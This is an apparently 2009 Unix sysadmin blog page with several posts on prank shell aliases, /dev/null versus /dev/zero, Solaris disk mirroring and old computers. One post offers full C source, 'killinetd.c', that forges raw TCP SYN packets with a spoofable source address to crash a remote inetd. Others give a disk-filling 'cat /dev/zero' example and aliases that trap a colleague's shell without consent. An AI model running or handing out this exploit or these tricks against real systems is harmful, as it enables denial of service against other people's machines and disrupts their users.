Thursday, April 30, 2009

The Tiny Unix And Linux Shell Crash Course For Beginners

Hey there,

Today's been a long day, filled with fun and gainful employment. Unfortunately, nothing I did today was the least bit interesting to write about ;)

So, in the mean time - in between time - I came up with a little something to help a few new guys get used to the shell (bash in this instance, but most of this will work in any shell... except the c shell - nothing is compatible with the c shell except tcsh and ...the c shell ;)

The setup is simple for this crash course, and (we'll consider ourselves the teachers) you should let the student know that they're in for a fun little piece of problem solving. Maybe, if I had the time to give this some more thought, it could be a pretty decent (although probably unusually cruel ;) interview tactic. If you have the time (and the stomach) to do that to some poor bastard that's looking to make a buck; go for it. I'm a pretty harsh interview, but I don't know if this is something I'd do to someone who didn't already know that their future employment was ensured (pending the outcome of drug testing, of course. Quite frankly, if you don't have what it takes to do your job while you're loaded to the gills, I don't think you'll not be able to see right through my fragile mask of sanity ;)

Anyway. Load up your mark's .profile (or .bashrc, etc) with this little collection of shell aliases and see how long it takes them to break out and get a normal shell back. Plenty of folks can do it without thinking. Anyone who can't will learn a little something.

And, please remember, this isn't about judgement; it's about pushing someone (even yourself) to think outside the box (or whatever object they're figuratively trapped in ;). We all need to be able to think in that abstract space every once in a while. Why not make it fun :)

Cheers,

PS1="youAreHere/ "
export PS1
alias --='-'
alias ash='echo youAreHere/ '
alias bash='echo youAreHere/ '
alias cat='perl -l'
alias cd='cd .'
alias cp='echo cp'
alias csh='echo youAreHere/ '
alias df='echo /dev/dump 100% 100% 0% /tmp/jailfs/hoosegow/you'
alias echo='echo '
alias emacs='ed'
alias env='vmstat'
alias ex='ed'
alias exec='echo cannot fork'
alias exit='echo are you sure?'
alias id='echo user\(me\) group\(sadly the same\)'
alias joe='ed'
alias jsh='echo youAreHere/ '
alias kill='echo all dead'
alias ksh='echo youAreHere/ '
alias less='more ---x'
alias logout='echo are you sure?'
alias ls='echo .'
alias mkdir='echo making directory'
alias more='less </dev/null'
alias mv='echo stay'
alias netstat='cat /dev/random'
alias ping='ping /dev/null'
alias prompt='echo youAreHere/'
alias ps='echo you 501 501 0 Apr 1 ? 0:00 /usr/bin/vicks -vaporub'
alias pwd='echo you are here'
alias rm='echo can\'\''t find'
alias rmdir='removing directory'
alias set='iostat'
alias sh='echo youAreHere/ '
alias su='echo cannot su to'
alias sudo='exec'
alias touch='echo please don\'\''t touch'
alias unalias='echo no aliases found named'
alias vi='ed'
alias vim='ed'
alias w='echo x, y and z'
alias who='echo what?'
alias zsh='echo youAreHere/ '
# alias alias="sleep 5"

# Uncommenting that last line is optional ;)

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, April 29, 2009

/dev/null And /dev/zero On Linux And Unix: What's The Difference?

Hey there,

Today we're going to take a look at a relatively simple concept that's relatively simple to get confused; especially if you're relatively new to Unix or Linux. Your experience may vary. It's all relative (who didn't see that one coming from around the corner and down the block? ;)

The concept we'll be looking at is the dead-zone on Linux or Unix. Most people refer to it as /dev/null or the "bit bucket." And, of course, this prompts the question of "why is that so interesting?" I suppose, in and of itself, it's not. Don't get too excited ;)

Where it gets interesting is when we introduce the /dev/zero file (technically, like /dev/null, a pseudo-file). Most folks, at least initially, consider /dev/null and /dev/zero to be virtually equivalent. And, even though the names make that conclusion seem self-evident, the truth is actually quite the opposite. The two files differ quite drastically, although not in every aspect.

1. Writing to /dev/null and /dev/zero: You can write to both /dev/null and /dev/zero in exactly the same way. For instance, if you want to dump off output from a command, either one will do. That is to say that:

host # echo hi >/dev/null

and

host # echo hi >/dev/zero

will both send your output to "never never land." Executing either of the above commands will satisfy your requirements if you just want to "dump" output to "nowhere." They should both be character (or raw) devices, have identical major device numbers and only differ at the minor device number level. These numbers will differ from OS to OS, but the basic definitions above should hold relatively true.

2. Reading from /dev/null and /dev/zero: This is where the difference between the two files becomes apparent. The most significant difference is exposed in the "reading" since this action highlights the major way in which the two differ.

/dev/null is, essentially, a black hole. Writes to it (as noted above), basically go down the drain. They go nowhere, stay there and you can't get them back. When you "read" from /dev/null, the same rule holds true. /dev/null is virtually "nothing," and all reads from it produce no output whatsoever. For instance, this output from Solaris' truss (you can get the same from Linux's "strace" and similar utilities) shows what happens when /dev/null is read from (e.g. "cat /dev/null") - below, what you'd see at the command line, followed by a snippet of truss output from the almost-immediate end of the command's execution:

host # cat /dev/null
host #
host # truss cat /dev/null
...
open64("/dev/null", O_RDONLY) = 3
fstat64(3, 0xFFBFF950) = 0
read(3, 0x000222A0, 8192) = 0
llseek(3, 0, SEEK_CUR) = 0
close(3) = 0
close(1) = 0
_exit(0)
host #


literally, the device file is opened, read from (which produces nothing) and is closed, since an EOF is sent immediately after opening.

/dev/zero, on the other hand is not the black hole that it appears to be when "writing to it." When you "read" from /dev/zero, you get a much different result than when you read from /dev/null. This is most specifically because /dev/zero returns zero's until the cows come home (or you stop reading from it ;) and "does not" return an EOF like /dev/null. It actually returns the ASCII null character (0x00) ad infinitum (or "ad naseum" depending upon your stomach for this sort of thing ;)

Below, we'll take a look at what you'd see at the command line, followed by a snippet of truss output from this command's execution:

host # cat /dev/zero
^C
host #
<-- note that we had to type ctl-C (send an interrupt signal) to the return from "cat /dev/zero" to get it to return to the shell prompt
host # truss cat /dev/zero
...
open64("/dev/zero", O_RDONLY) = 3
fstat64(3, 0xFFBFF950) = 0
read(3, "\0\0\0\0\0\0\0\0\0\0\0\0".., 8192) = 8192
write(1, "\0\0\0\0\0\0\0\0\0\0\0\0".., 8192) = 8192
read(3, "\0\0\0\0\0\0\0\0\0\0\0\0".., 8192) = 8192
write(1, "\0\0\0\0\0\0\0\0\0\0\0\0".., 8192) = 8192
read(3, "\0\0\0\0\0\0\0\0\0\0\0\0".., 8192) = 8192


...and on it goes until we (or another process) interrupts it.

And that, pretty basically, is the difference between the two files. It should be noted, however, that there are two things you can do with /dev/zero that you can't do with /dev/null (one practical and one just downright malicious if you know what you're doing ;) and one very useful thing you can use /dev/null for on a regular basis.

1. /dev/null can be easily used to create a zero byte file. This comes in handy when you want to create a placeholder file, etc:

host # cat /dev/null >FILE
host # ls -l FILE
host # ls -l FILE
-rw-r--r-- 1 user123 unixgrp 0 Apr 28 11:37 FILE


of course, the same results can be achieved (in most shells) in a more efficient manner. The underlying mechanism is the same, but the typing's a bit speedier (and you're actually redirecting STDOUT, but we'll leave that distinction to the academics ;)

host # >FILE
host # ls -l FILE
-rw-r--r-- 1 user123 unixgrp 0 Apr 28 11:37 FILE


2. With /dev/zero, the good thing you can do is to create a zeroed out file on which you can, later, create a filesystem. Using a simple command like "dd" you can set /dev/zero as your input file ("if") and your block device (or regular file) as the output file ("of") and then make a filesystem on it. This is a very quick way to setup additional file system space:

host # dd if=/dev/zero of=mynewfile <-- the block size - "bs" - and count - "count" - arguments will differ depending upon your fs and what your particular needs are
host # mkfs ARGS mynewfile <-- Again, this part (creating the new filesystem) can have many variables. The most relevant command line component, in this instance, would be the name of the zeroed out file we create with "dd."

3. With /dev/zero, the "bad" thing you can do (or can do by mistake, if you're not careful or aren't aware of /dev/zero's behaviour) is related to the "good" thing. Just like you can create a zeroed out file system, you can also completely fill a partition with ASCII 0x00 characters and, possibly, cause your system to crash or go into a frenzy as it loses disk resources, like so (of course, you should not have the permission to do this as a regular user):

host # cd /var
host # cat /dev/zero >FILE
cat: output error (0/8192 characters written)
No space left on device
host # df -k /var
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s4 4130238 4120138 0 100% /var


so, in about 100 seconds, you can cripple /var (4 GB of space on this host). That makes it difficult to do simple things, like copying over a relatively small file onto the partition you just filled up (not to mention the other adverse effects filling up /var can have on most Linux and Unix OS's):

host # ls -l /bin/ls
-r-xr-xr-x 1 root bin 27380 Jun 11 2008 /bin/ls
host # cp /bin/ls /var/ls
cp: /var/ls: write: No space left on device


Of course, this practice is not recommended. Just a small example to illustrate why you should take care when playing around with /dev/zero!

Here's hoping today's post was of some help to you or, at the very least, provided an interesting diversion for a few moments ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, April 28, 2009

DiskSuite/VolumeManager or Zpool Mirroring On Solaris: Pros and Cons

Hey There,

Today we're going to look at two different ways to mirror disk on Solaris (both free - but distinguished from freeware in that they're distributed for use on Solaris' commercial and (often) proprietary filesystems and OS).

The old way, probably every Solaris Sysadmin knows backward and forward. Using the Solaris DiskSuite set of tools (meta-whathaveyou ;), which was, at one point, changed to Solaris Volume Manager (which introduced some feature enhancements, but not the kind I was expecting. The name Volume Manager has a direct connection in my brain to Veritas and the improvements weren't about coming closer to working seamlessly with that product).

The somewhat-new way (using the zpool command) won't work - to my knowledge - on any OS prior to Solaris 10, but with Solaris 8 and 9 reaching end of life in the not-too-distant future, every Solaris Sysadmin will have some measure of choice.

With that in mind let's take a look at a simple two disk mirror. We'll look at how to create one and review it in terms of ease-of-implementation and cost (insofar as work is considered expensive if it takes a long time... which leaves one to wonder why I'm not comparing the two methods in terms of time ;)

Both setups will assume that you've already installed your operating system, and all required packages, and that the only task before you is to create a mirror of your root disk and have it available for failover (which it should be by default)

The DiskSuite/VolumeManager Way:

1. Since you just installed your OS, you wouldn't need to check if your disks were mirrored. In the event that you're picking up where someone else left off (and it isn't blatantly obvious - I mean "as usual" ;), you can check the status of your mirror using the metastat command:

host # metastat -p

You'll get errors because nothing is set up. Cool :)

2. The first thing you'll want to do is to ensure that both disks have exactly the same partition table. The same-ness has to be "exact," as in down to the cylinder. If you're off even slightly, you could be causing yourself major headaches. Luckily, it's very easy to make your second (soon to be a mirror) layout exactly the same as your base OS disk. You actually have at least two options:

a. You can run format, select the disk you have the OS installed on, type label (if format tells you the disk isn't labeled), then select your second disk, type partition, type select and pick the number of the label of your original disk. A lot of times these labels will be very generic (especially if you just typed "y" when format asked you to label the disk or format already did it for you during install) and you may have more than one to choose from. It's simple enough to figure out which one is the right one though (as long as you remember your partition map from the original disk and have made is sufficiently different from the default 2 or 3 partition layout). Just choose select, pick one, then choose print. If you've got the right one, then type label. Otherwise, repeat until you've gone through all of your selections. One of them has to be it, unless you never labeled your primary disk.

b. You can use two command (fmthard and prtvtoc) and just get it over with:

host # prtvtoc /dev/rdsk/c0t0d0s2 |fmthard -s - /dev/rdsk/c1t0d0s2

3. Then you'll want to mirror all of your "slices" (or partitions; whatever you want to call them. We'll assume you have 6 slices set up (s0, s1, s3, s4, s5 and s6) for use and slice 7 (s7) partitioned with about 5 Mb of space. You can probably get away with less. You just need to set this up for DiskSuite/VolumeManager to be able to keep track of itself.

Firstly, you'll need to initialize the minimum number of "databases," set up the mirror group and add the primary disk slices as the first mirrors in the mirror-set (even though, at this point, they're not mirroring anything, nor are they mirrors of anything ;) Note that it's considered best practice to not attach the secondary mirror slices to the mirror device, even though you can do it for some of your slices. You'll have to reboot to get root to work anyway, so you may as well do them all at once and be as efficient as is possible:

host # metadb -a -f /dev/rdsk/c0t0d0s7
host # metadb -a /dev/rdsk/c1t0d0s7
host # metainit -f d10 1 1 c0t0d0s0
host # metainit -f d20 1 1 c1t0d0d0
host # metainit -d0 -m d10
host # metainit -f d11 1 1 c0t0d0s1
host # metainit -f d21 1 1 c1t0d0d1
host # metainit -d1 -m d11
host # metainit -f d13 1 1 c0t0d0s3
host # metainit -f d23 1 1 c1t0d0d3
host # metainit -d3 -m d13
host # metainit -f d14 1 1 c0t0d0s4
host # metainit -f d24 1 1 c1t0d0d4
host # metainit -d4 -m d14
host # metainit -f d15 1 1 c0t0d0s5
host # metainit -f d25 1 1 c1t0d0d5
host # metainit -d5 -m d15
host # metainit -f d16 1 1 c0t0d0s6
host # metainit -f d26 1 1 c1t0d0d6
host # metainit -d6 -m d16


4. Now you'll run the "metaroot" command, which will add some lines to your /etc/system file and modify your /etc/vfstab to list the metadevice for your root slice, rather than the plain old slice (/dev/dsk/c0t0d0s0, /dev/rdsk/c0t0d0s0):

host # metaroot

5. Then, you'll need to manually edit /etc/vfstab to replace all of the other slices' regular logical device entries with the new metadevice entries. You can use the root line (done for you) as an example. For instance, this line:

/dev/dsk/c0t0d0s6 /dev/rdsk/c0t0d0s6 /users ufs 1 yes -


would need to be changed to:

/dev/md/dsk/d6 /dev/md/rdsk/d6 /users ufs 1 yes -


and, once that's done you can reboot. If you didn't make any mistakes, everything will come up normally.

6. Once you're back up and logged in, you need to attach the secondary mirror slices. This is fairly simple and where the actual syncing up of the disk begins. Continuing from our example above, you'd just need to type:

host # metattach d0 d20
host # metattach d1 d21
host # metattach d3 d23
host # metattach d4 d24
host # metattach d5 d25
host # metattach d6 d26


The syncing work will go on in the background, and may take some time depending upon how large your hard drives and slices are. Note that, if you reboot during a sync, that sync will fail and it will start from 0% on reboot with the affected primary mirror slices remaining intact and the secondary mirror slices automatically resyncing. You can use the "metastat" command to check out the progress of your syncing slices.

And, oh yeah... I almost forgot this part of the post:

The Zpool way:

1. First you'll want to do exactly what you did with DiskSuite/VolumeManager (since both disks have to be exactly the same). We'll assume you're insanely practical, and will just use this command to make sure your disks are both formatted exactly the same (just like above):

host # prtvtoc /dev/rdsk/c0t0d0s2 |fmthard -s - /dev/rdsk/c1t0d0s2

2. Now we'll need create a pool, add your disks to it (all slices as one) and mirror them:

host # zpool create mypool mirror c0t0d0 c1t0d0

3. Wait for the mirror to sync up all the slices. You can check the progress with "zpool status POOLNAME" - like:

host # zpool status mypool

And that's that. The choice is yours, unless you're still using Solaris 9 or older. This post isn't meant to condemn the SDS/SVM way. It works reliably and is really easy to script out (and when both of these methods are scripted out, they're just as easy to run and the only hassle the old way gets you is the forced reboot).

It's good to see that things are getting easier and more efficient. Although, hopefully, that won't make today's Sysadmins tomorrows bathroom attendants ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Monday, April 27, 2009

One Of The Many Reasons Inetd Isn't Around Any More On Linux Or Unix

Hey There,

I decided to comb through some older code I had laying around for today's post since I'll be waking up 5:30am (about 3 and 1/2 hours early) to get to work today (or tomorrow, if you're reading this post when it's "actually" been published ;) and I found this little nugget lying around that may allow me to get some fitful rest before my alarm clock goes off :P

Let me state right off the bat that "this code is not mine." Also, "I have no idea who wrote it." I'm sure it was no one I worked with in the past and I'm doubly sure that it wasn't me (it's too well written ;). Admittedly, I only did Google searching to try and found out the rightful owner, so that I could give attribution, but I couldn't find anything that resembled this. It may just be the search terms I used. Sometimes when you Google for "White China" you end up with nothing but links to web pages about Scandanavian Basket Weaving... who knows? ;)

In any event, I thought this was interesting (and thought a few of you out there might find it interesting as well). It may require some modification to work on your machine, but it's pretty straightforward and easy to compile. It also does it's job; it kills inetd. That's probably why I saved it as killinetd.c ;) Worst case, it may provide you with some insight into a c code problem you're having trouble solving that's almost completely unrelated :)

You should be able to compile it (using gcc, since it's free) like this:

host # gcc -o killinetd killinetd.c

If, for some reason, your system links back and requires socket libraries to compile, you can generally get away with:

host # gcc -o killinetd killinetd.c -lsocket -lnsl

You may need only one of the "libsocket" and "libnsl" references above, or you may need both. It highly depends on what OS you're compiling this on.

If you still have a system that uses the old-fashioned inetd (not xinetd or the updated Solaris-type inetd with smf (the one were you update it with inetconv instead of just sending a HUP signal to inetd)), this will probably work.

Enjoy! But enjoy responsibly ;)

Cheers,

NOTE: This code is the intellectual property of whomever originally wrote it. If you can email us (via the link at the upper right of the blog) and provide sufficient evidence that this code is yours, we will gladly include your name (to give you full attribution), remove it from this blog, replace it with a "Family Circus" cartoon, or pretty much anything you want... within reason ;)



#include <sys/types.h>
#include <inet/led.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <inet/ip.h>
#include <inet/tcp.h>
#include <stdio.h>


#define NPROBES 1

#define SEQ 0x28374839

unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}


int sock, ssock;

void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;

struct sockaddr_in sin; /* how necessary is this? */

ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;

if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
&sin, sizeof(sin))<0) {
perror("sendto");
exit(1);
}
}




probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
int i;
struct iphdr ih;
struct tcphdr th;
char buf[1024];

ih.version=4;
ih.ihl=5;
ih.tos=0; /* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(6969);
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;

th.source=htons(9999);
th.dest=htons(port);
th.seq=htonl(SEQ+i);
th.ack_seq=0;
th.res1=0;
th.doff=sizeof(th)/4;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(512);
th.check=0;
th.urg_ptr=0;

send_tcp_segment(&ih, &th, &ih, 0);

}

unsigned long getaddr(char *name) {
struct hostent *hep;

hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}


main(int argc, char **argv) {
unsigned long me=htonl(0x980101ae), victim;
int port=13;
struct hostent *hep;

if(argc<2) {
printf("Usage: %s target [port [source]]\n", argv[0]);
exit(1);
}

if(argc>=2)
victim=getaddr(argv[1]);

if(argc>=3)
port=atoi(argv[2]);

if(argc>=4)
me=getaddr(argv[3]);


ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock<0) {
perror("socket (raw)");
exit(1);
}

probe_seq(me, victim, port);
}




, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Sunday, April 26, 2009

Obsolete Technology Can Be Yours Today!

EDIT - 4/26/09 - Thanks to ComputerBob at LXer for pointing out that the link to the main picture page was incorrect. It has been fixed :)

Hey There,

It's been a rainy Saturday night and it looks like it'll be a rainy Sunday out here. In other words, it's a perfect time to moon over the cutting edge computers of my youth ;)

I found a great collection of defunct (or antique) home computers at oldcomputers.net, which houses everything from a picture gallery (below) to a great collection of old computer commercials from back in the days when so much of what we take for granted now was considered absolutely amazing :)

There are, literally, over 8 pages of advertisements to check out and even more pictures and other information. It's great fun and either humorous, nostalgic and/or both (viewing experience depends heavily on age and/or computing experience ;)

Just to give you some idea about how inexpensive home computing is today, find the "GRID" home computer below (near the bottom and it has GRID written on the screen ;) and follow that link to the information page. It retailed for $8,150!!! Ouch!

Enjoy and cheers!

NOTE: All picture links below go directory to oldcomputers.net and the respective information page for each of the machines shown.



Click on any image to display more pictures and information.


Once again, appreciate the beauty of your first true love.












, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.